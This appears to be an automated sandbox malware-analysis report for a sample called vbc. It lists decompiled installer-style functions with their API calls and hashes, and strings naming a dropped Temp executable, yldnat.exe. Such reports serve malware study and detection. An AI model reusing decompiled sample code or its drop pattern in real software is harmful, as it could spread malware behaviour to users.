				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x7a8aa0,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E004065B5();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f665995d6bdb305172d13ad54de642187c856862005d3c57e5c2f614b82d9191
Instruction ID: 474cd979728561ffe20026c9632071baa6ad0bc9fd2f813aa8d1396f3614d648
Opcode Fuzzy Hash: f665995d6bdb305172d13ad54de642187c856862005d3c57e5c2f614b82d9191
Instruction Fuzzy Hash: DC212672D00119AFCF05CBA4DE45AEEBBB5EF08304F14403AF945F62A0DB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E004066AB(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E004065B5();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32 ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066AB: lstrcatW.KERNEL32 ref: 00406850
Part of subcall function 004066AB: lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: c4fbce1732c038d4ae3387388930f25584bd8a0c3a5059ecf0713bcf7412b626
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 0E01B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E004065B5();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a925d33b65f5538ff345f0f48edbd750304bc8babfa6be52d46d5660b496d1e6
Instruction ID: a8e9040b9442a73e8ccf438a9e221504da771f110143023329da3593775932a3
Opcode Fuzzy Hash: a925d33b65f5538ff345f0f48edbd750304bc8babfa6be52d46d5660b496d1e6
Instruction Fuzzy Hash: 2D219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404E77 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404E77(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004066AB(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004066AB(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004066AB(_t44, _t50, 0x7a1f88, 0x7a1f88, _a8);
				wsprintfW(_t34 + lstrlenW(0x7a1f88) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x7a7a78, _a4, 0x7a1f88);
			}

0x00404e80
0x00404e85
0x00404e8d
0x00404e8e
0x00404e9b
0x00404ea3
0x00404ea4
0x00404ea6
0x00404ea8
0x00404eaa
0x00404ead
0x00404ead
0x00404eb4
0x00404eba
0x00404eba
0x00404ec1
0x00404ec8
0x00404ecb
0x00404ece
0x00404ece
0x00404ed2
0x00404ee2
0x00404ee4
0x00404ee7
0x00404e90
0x00404e90
0x00404e97
0x00404e97
0x00404eef
0x00404efa
0x00404f10
0x00404f21
0x00404f3d

APIs

lstrlenW.KERNEL32(007A1F88,007A1F88,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F18
wsprintfW.USER32 ref: 00404F21
SetDlgItemTextW.USER32 ref: 00404F34

Strings

%u.%u%s%s, xrefs: 00404F02

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 4298df8fa65d3e63540fdf60f99430adbe5e40f9a8b71c27c1b7671c68856ea4
Instruction ID: f4f79be78f3b00f65903d53a5db5cb29a0acdec533a94133042e7cdde7caf59d
Opcode Fuzzy Hash: 4298df8fa65d3e63540fdf60f99430adbe5e40f9a8b71c27c1b7671c68856ea4
Instruction Fuzzy Hash: 5711D5736041282BDB00A56DDD45E9F3288AB81334F250637FA25F21D1EA79882186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405F3D(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405f3e
0x00405f4b
0x00405f4c
0x00405f57
0x00405f5f
0x00405f5f
0x00405f67

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405F43
CharPrevW.USER32(?,00000000), ref: 00405F4D
lstrcatW.KERNEL32 ref: 00405F5F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F3D

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 4d139d42d978cba7810d0072a9498665e67a0d594e33c17037060be18c5eefd9
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: F6D0A771101A306EC1117B648C04CDF729CEE89344346443BF901B70A0CB7D1D5287FD

Uniqueness

Uniqueness Score: -1.00%

Function 00405644 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00405644(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x7a1f74 != _t16) {
							_push(_t16);
							_push(6);
							 *0x7a1f74 = _t16;
							E00405005();
						}
						L11:
						return CallWindowProcW( *0x7a1f7c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404F85(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404616(0x413);
				return 0;
			}

0x00405648
0x00405652
0x0040566e
0x00405690
0x00405693
0x00405699
0x004056a3
0x004056a4
0x004056a6
0x004056ac
0x004056ac
0x004056b6
0x00000000
0x004056c4
0x0040567b
0x004056b3
0x004056b3
0x00000000
0x004056b3
0x00405687
0x00405689
0x00000000
0x00405689
0x00405658
0x00000000
0x00000000
0x0040565f
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00405673
CallWindowProcW.USER32(?,?,?,?), ref: 004056C4

Part of subcall function 00404616: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404628

Strings

, xrefs: 00405654

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7939219b80a2ac52c1d0d435a37392739a133ef29b28caecab86fe9e557cc681
Instruction ID: d595ca740675a0faf81d7ea6a2f5abbfab032377942bf72e797c79c3d66f513a
Opcode Fuzzy Hash: 7939219b80a2ac52c1d0d435a37392739a133ef29b28caecab86fe9e557cc681
Instruction Fuzzy Hash: B1017131201609AFEF209F21DD80A9B3A26EB85754F904837FA08762D1C77B8D919F6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040653C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040653C(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t21 = E004064DB(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x0040654a
0x0040654c
0x00406564
0x00406569
0x0040656e
0x004065ac
0x004065ac
0x00406570
0x00406582
0x0040658d
0x00406593
0x0040659e
0x00000000
0x00000000
0x0040659e
0x004065b2

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800), ref: 00406582
RegCloseKey.ADVAPI32(?), ref: 0040658D

Strings

C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna, xrefs: 00406543

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseQueryValue
String ID: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
API String ID: 3356406503-540822073
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 9e12fcea604be09863af9e628fe48d824a74a48827fd48a6b9c69832a92d0d42
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: DA015A72500209FADF218F51DC09EDB3BA8EB54364F01803AFD1AA2190E739D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004060C3 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060C3(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x004060d3
0x004060d5
0x004060d8
0x00406104
0x004060dd
0x004060e6
0x004060eb
0x004060f6
0x004060f9
0x00406115
0x004060fb
0x00406102
0x00000000
0x00406102
0x0040610e
0x00406112
0x00406112
0x0040610c
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060D3
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060EB
CharNextA.USER32(00000000), ref: 004060FC
lstrlenA.KERNEL32(00000000,?,00000000,004063A8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406105

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: ebd02a31c913037c7252cee765efb5e80e8868db32339617edb9e16a90b2d78f
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 7CF0F631100054FFDB02DFA5CD40D9EBBA8DF46350B2640BAE841FB311D674DE11ABA8

Uniqueness

